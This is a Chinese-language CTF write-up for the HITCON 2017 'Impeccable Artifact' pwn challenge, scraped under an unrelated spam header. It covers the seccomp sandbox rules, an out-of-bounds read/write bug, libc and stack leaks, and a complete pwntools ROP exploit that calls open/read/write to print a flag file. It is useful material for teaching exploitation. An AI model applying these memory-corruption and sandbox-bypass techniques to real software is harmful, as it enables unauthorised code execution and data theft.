bbin網(wǎng)站開發(fā)服務(wù)器租用
文章目錄
- 沙箱逃脫prtcl題
- HITCON CTF 2017 Quals Impeccable Artifact libc 2.24
- flag文件
- 對應(yīng)prctl函數(shù)
- 檢查
- 源碼
- 思路
- exp
沙箱逃脫prtcl題
HITCON CTF 2017 Quals Impeccable Artifact libc 2.24
flag文件
此時的flag文件在本文件夾建一個即可
此時的我設(shè)置的flag為
對應(yīng)prctl函數(shù)
第一條是禁止特權(quán)
第二條是按定義的BPF來建立沙箱
檢查
保護全開
查看沙箱規(guī)則
就是首先查看架構(gòu),如果不是ARCH_X86_64,就禁止該系統(tǒng)調(diào)用,然后獲取該系統(tǒng)調(diào)用的第二個參數(shù),并復(fù)制給X,然后獲得系統(tǒng)調(diào)用號,接著檢查系統(tǒng)調(diào)用號是否和read write fstat lseek 一樣,一樣的話允許執(zhí)行。都不一樣就看是否和mmap一樣,如果一樣就檢查系統(tǒng)調(diào)用的第二個參數(shù)是否是奇數(shù),如果是則禁止如果不是則允許,如果系統(tǒng)調(diào)用號和mmap不一樣,就看是否和mprotect一樣,如果一樣依然檢查系統(tǒng)調(diào)用的第二個參數(shù)是否是奇數(shù),如果是則禁止如果不是則允許。如果系統(tǒng)調(diào)用號和mprotect不一樣,就檢查看系統(tǒng)調(diào)用號是否和系統(tǒng)調(diào)用的第二個參數(shù)一樣,一樣則允許該系統(tǒng)調(diào)用,否則看系統(tǒng)調(diào)用號再是否和brk exit exit_group相等,相同則允許,都不同那么將禁止該系統(tǒng)調(diào)用
源碼
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{__int64 *v3; // rdxconst char *v4; // rdiint v6; // [rsp+8h] [rbp-658h] BYREFint v7; // [rsp+Ch] [rbp-654h] BYREF__int64 v8[200]; // [rsp+10h] [rbp-650h] BYREF_QWORD v9[2]; // [rsp+650h] [rbp-10h] BYREFv9[1] = __readfsqword(0x28u);sub_9F0(a1, a2, a3);v3 = v8;memset(v8, 0, sizeof(v8));v4 = (const char *)v9;while ( 1 ){sub_A29(v4, a2, v3);v7 = 0;_isoc99_scanf("%d", &v6);if ( v6 != 1 && v6 != 2 )break;puts("Idx?");_isoc99_scanf("%d", &v7);if ( v6 == 1 ){a2 = (char **)v8[v7];v4 = "Here it is: %lld\n";printf("Here it is: %lld\n", a2);}else{puts("Give me your number:");a2 = (char **)&v8[v7];v4 = "%lld";_isoc99_scanf("%lld", a2);}}return 0LL;
}
即輸入一個位置,然后可以往這個位置寫數(shù)據(jù),或者顯示這個數(shù)據(jù),輸入位置沒有檢查,可以任意讀和任意寫
思路
注意數(shù)組和var_8中級還有八個字節(jié),var_8對應(yīng)的索引為201
首先利用main函數(shù)結(jié)尾ret指令為返回到libc_start_main+241的位置可以利用show越界顯示這個地址,對應(yīng)數(shù)組的索引是203.從而泄露libc基地址,然后得到各種gadget的地址
由于我們的目標是讀到flag文件的內(nèi)容,所以需要open函數(shù),然后read,再write,系統(tǒng)調(diào)用open函數(shù)需滿足rdx=rax即可成功調(diào)用
由于需要先將文件內(nèi)容讀到內(nèi)存里再通過write輸出,所以還需知道內(nèi)存的某段位置,此時發(fā)現(xiàn)棧上存在棧的地址,對應(yīng)數(shù)組索引為205將該棧地址與返回地址相減得到0xE0,所以對應(yīng)的索引就是231
直到通過該得到的棧地址-231*8可得到數(shù)組的起始地址,然后輸入open的第一個參數(shù)在此位置即./flag,注意此時由于函數(shù)此時是整數(shù)輸入,輸入的字節(jié)會逆序排放到內(nèi)存中,而調(diào)用open時是字符串參數(shù),會從低地址到高地址一個一個轉(zhuǎn)換,所以此時我們需要逆序輸入./flag的字節(jié)即按galf/.字節(jié)輸入
接下來就構(gòu)造ROP鏈即可,首先是open(數(shù)組的初始地址,0,2) rax=2,此時構(gòu)造的rdx不會對函數(shù)有影響,只是使得第二個參數(shù)和rax的值一樣得以成功調(diào)用系統(tǒng)調(diào)用。
然后是read(之前open的返回值即rax的值,棧上的一段空間地址,輸入寫入長度) rax=0,此時得先將rax的值給rdi,然后再將rax賦值為0。
此時找不到mov rdi,rax; ret;所有g(shù)adget后面都有個跳轉(zhuǎn),此時需要控制跳轉(zhuǎn)的位置最終還能回到ROP鏈上來,那么得提前控制rcx,如果rcx是一個pop ;ret的gadget位置,那么還能回到原來mov rdi, rax; call rcx的下一個gadget(因為此時call會往棧壓入一個返回地址,pop后,ret正好能回到mov rdi, rax; call rcx的下一個gadget的位置),此時得提前準備好一個pop ;ret的gadget的地址在棧上,然后先pop rcx;ret,使得rcx是pop ;ret的gadget的地址。其他兩個參數(shù)比較好控制
最后write(1,read輸入的那段地址,輸出長度)rax=1 此時只需修改rax和rdi即可,rsi和rdx不要變(和read的rsi和rdx一樣),最后輸出flag
exp
#!/usr/bin/env pythonfrom pwn import *r = process("./artifact")gdb.attach(r,"b main")
def menu():r.recvuntil('?\n')def cmd(num):r.sendline(str(num))def show(num):cmd(1)r.sendline(str(num))r.recvuntil("Here it is: ")ret = r.recvline()[:-1]menu()return retdef memo(num, inp):cmd(2)r.sendline(str(num))r.recvuntil('Give me your number:\n')r.sendline(str(inp))menu()def end():cmd(3)menu()# leak libc adress
libc = int(show(203)) - 241 - 0x20300
print ('libc:', hex(libc))# stack address index: 231
stack = int(show(205))
print ('stack:', hex(stack))pop_rax = libc + 0x3a998
pop_rdi = libc + 0x1fd7a
pop_rsi = libc + 0x1fcbd
pop_rdx = libc + 0x1b92
pop_rcx = libc + 0x1a97b8
mov_rdi_rax_call_rcx = libc + 0x89ae9
syscall = libc + 0xbc765# ./flagmemo(0, 0x67616c662f2e)# open
memo(203, pop_rdi)
memo(204, stack - 231*8)
memo(205, pop_rsi)
memo(206, 0)
memo(207, pop_rdx)
memo(208, 2)
memo(209, pop_rax)
memo(210, 2)
memo(211, syscall)# read
memo(212, pop_rcx)
memo(213, pop_rax)
memo(214, mov_rdi_rax_call_rcx)
memo(215, pop_rax)
memo(216, 0)
memo(217, pop_rsi)
memo(218, stack - 80*8)
memo(219, pop_rdx)
memo(220, 100)
memo(221, syscall)# write
memo(222, pop_rax)
memo(223, 1)
memo(224, pop_rdi)
memo(225, 1)
memo(226, syscall)end()r.interactive()